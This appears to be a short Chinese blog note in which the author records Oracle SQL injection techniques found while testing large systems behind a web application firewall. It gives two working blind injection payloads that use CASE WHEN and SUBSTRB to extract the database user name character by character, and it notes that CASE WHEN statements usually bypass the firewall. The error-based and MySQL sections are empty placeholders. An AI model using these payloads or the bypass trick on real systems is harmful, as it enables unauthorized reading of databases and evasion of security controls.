Oracle
⠀⠀最近有机会接触到大型系统，与WAF斗智斗勇，基本都是Oracle盲注，挖了几个SQL注入的漏洞还是记录一下，所以写个文章长期记录。
盲注
zhangwe'||case+when+substrB(user,1,1)='W'+then'i'else'xx'end||
%CE%CA%CC%E2'and case when substrB(user,5,1)='3' then 'd' end like'd
⠀⠀case when语句基本能过WAF
报错注入
⠀⠀等待更新
Mysql
等待更新